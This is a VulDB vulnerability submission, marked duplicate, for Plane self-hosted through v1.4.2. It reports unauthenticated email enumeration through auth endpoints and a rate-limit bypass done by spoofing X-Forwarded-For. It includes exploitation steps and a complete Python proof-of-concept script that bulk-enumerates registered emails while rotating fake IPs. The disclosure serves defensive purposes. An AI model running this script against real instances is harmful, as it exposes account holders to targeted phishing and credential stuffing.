Submit #1005105: GitHub Plane Community Edition / Plane Self-Hosted v0.14-dev through v1.4.2 Unauthenticated User Enumeration with Authentication Rate-Limitinfo

TitleGitHub Plane Community Edition / Plane Self-Hosted v0.14-dev through v1.4.2 Unauthenticated User Enumeration with Authentication Rate-Limit
DescriptionPlane contains multiple unauthenticated authentication endpoints that disclose whether a supplied email address corresponds to an existing account through distinguishable HTTP responses. The affected endpoints include /auth/email-check/, /auth/forgot-password/, /auth/sign-in/, and /auth/sign-up/. Pasted text The impact is amplified by a rate-limit bypass. Plane's authentication throttling relies on client IP information derived from the X-Forwarded-For header. Under the reported configuration, an unauthenticated client can supply different X-Forwarded-For values, causing requests to be assigned to different throttle buckets and thereby circumventing the intended authentication rate limit. Pasted text Pasted text An unauthenticated remote attacker could therefore determine whether arbitrary email addresses are registered on an affected Plane instance and, where the deployment permits spoofable forwarded-client-IP values, perform enumeration without the intended per-client throttling. This information could facilitate targeted phishing, credential-stuffing, or identification of users belonging to a particular Plane deployment. User Enumeration (email-check endpoint) HTTP POST /auth/email-check/ {"email": "[email protected]"} → EmailCheckEndpoint.post() # check.py:34 → AuthenticationThrottle.allow_request() # rate_limit.py:17 → AnonRateThrottle.get_ident() # throttling.py (DRF) → reads X-Forwarded-For as throttle key → User.objects.filter(email=email).first() # check.py:80 → returns {"existing": true} or {"existing": false} # check.py:85-103 Rate-Limit Bypass HTTP POST /auth/email-check/ {"email": "..."}, X-Forwarded-For: 10.0.0.{N} → AuthenticationThrottle.allow_request() → SimpleRateThrottle.get_ident() → xff = "10.0.0.{N}" # attacker-controlled → num_proxies = None (default) → return ''.join(xff.split()) # each IP = new bucket → cache.get("throttle_authentication_10.0.0.{N}") # no prior requests → allow_request returns True # rate limit bypassed Exploitation Steps Send POST /auth/email-check/ with {"email": "[email protected]"}. Observe {"existing": true} (registered) or {"existing": false} (not registered). After 30 requests, the throttle returns 429 RATE_LIMIT_EXCEEDED. Add X-Forwarded-For: 10.0.0.{random} header — the rate limit resets. Repeat with a list of target emails to enumerate all registered users. Proof of Concept #!/usr/bin/env python3 """ PoC: Unauthenticated User Enumeration + Rate-Limit Bypass in Plane Demonstrates: 1. User enumeration via differential responses on /auth/email-check/ 2. Rate-limit trigger (429 after ~30 requests) 3. Rate-limit bypass via X-Forwarded-For rotation 4. Bulk enumeration of a supplied email list Tested against: Plane v1.2.3 (Docker self-hosted deployment) Affected versions: v0.14-dev through v1.4.2 (latest) Usage: python3 poc_plane_user_enum.py --target http://localhost:8000 --emails emails.txt python3 poc_plane_user_enum.py --target http://localhost:8000 --email [email protected] """ import argparse import random import sys import requests def check_email(base_url, email, xff_ip=None): """Check if an email is registered. Returns (existing: bool, status_code: int, raw: dict).""" url = f"{base_url.rstrip('/')}/auth/email-check/" headers = {"Content-Type": "application/json"} if xff_ip: headers["X-Forwarded-For"] = xff_ip try: r = requests.post(url, json={"email": email}, headers=headers, timeout=10, allow_redirects=False) return r.json().get("existing"), r.status_code, r.json() except Exception as e: return None, -1, {"error": str(e)} def random_ip(): return f"10.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}" def demo_throttle(base_url): """Show that the rate limit triggers after ~30 requests, then bypass it.""" print("[*] Phase 1: Demonstrating rate-limit trigger") print(f" Sending requests to {base_url}/auth/email-check/ without X-Forwarded-For...") test_email = f"probe-{random.randint(10000,99999)}@test.local" throttled_at = None for i in range(1, 40): _, status_code, body = check_email(base_url, test_email) if status_code == 429: throttled_at = i print(f" [!] Rate-limited at request #{i} (HTTP 429)") break elif i % 10 == 0: print(f" Request #{i}: HTTP {status_code}") if not throttled_at: print(" [?] Rate limit not triggered after 39 requests (threshold may differ)") return print(f"\n[*] Phase 2: Bypassing rate limit with X-Forwarded-For rotation") success_count = 0 for i in range(1, 11): ip = random_ip() _, status_code, _ = check_email(base_url, test_email, xff_ip=ip) if status_code == 200: success_count += 1 print(f" Request #{i} with X-Forwarded-For: {ip} -> HTTP {status_code}") print(f"\n [{'!' if success_count == 10 else '?'}] {success_count}/10 requests succeeded after rate limit — bypass {'confirmed' if success_count == 10 else 'partial'}") def enumerate_emails(base_url, emails): """Enumerate a list of emails using X-Forwarded-For rotation to avoid throttling.""" print(f"\n[*] Phase 3: Enumerating {len(emails)} email(s)") registered = [] not_registered = [] for i, email in enumerate(emails, 1): ip = random_ip() existing, status_code, body = check_email(base_url, email.strip(), xff_ip=ip) if status_code == 200 and existing is True: registered.append(email.strip()) tag = "REGISTERED" elif status_code == 200 and existing is False: not_registered.append(email.strip()) tag = "not found" else: tag = f"error (HTTP {status_code})" print(f" [{i}/{len(emails)}] {email.strip()} -> {tag}") print(f"\n[*] Results: {len(registered)} registered, {len(not_registered)} not found") if registered: print(f" Registered emails:") for e in registered: print(f" - {e}") return registered def main(): parser = argparse.ArgumentParser(description="Plane User Enumeration + Rate-Limit Bypass PoC") parser.add_argument("--target", required=True, help="Base URL of the Plane instance (e.g. http://localhost:8000)") parser.add_argument("--email", help="Single email to check") parser.add_argument("--emails", help="Path to a file with one email per line") parser.add_argument("--skip-demo", action="store_true", help="Skip the rate-limit demo, go straight to enumeration") args = parser.parse_args() base_url = args.target.rstrip("/") print(f"[*] Target: {base_url}") print(f"[*] Vulnerability: User Enumeration + Rate-Limit Bypass via X-Forwarded-For") print() if not args.skip_demo: demo_throttle(base_url) email_list = [] if args.email: email_list = [args.email] elif args.emails: try: with open(args.emails) as f: email_list = [line.strip() for line in f if line.strip() and "@" in line] except FileNotFoundError: print(f"[!] File not found: {args.emails}", file=sys.stderr) sys.exit(1) if email_list: enumerate_emails(base_url, email_list) elif args.skip_demo: print("[!] No emails provided. Use --email or --emails.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() "
Source⚠️ https://github.com/makeplane/plane/issues/9913
User
 ChetanPujari (UID 101747)
Submission09/29/2026 14:25 (18 days ago)
Moderation10/17/2026 11:44 (18 days later)
StatusDuplicate
VulDB entry421581 [makeplane up to 1.4.2 API Endpoint X-Forwarded-For reliance on untrusted inputs in a security decision]
Points0

Do you know our Splunk app?

Download it now for free!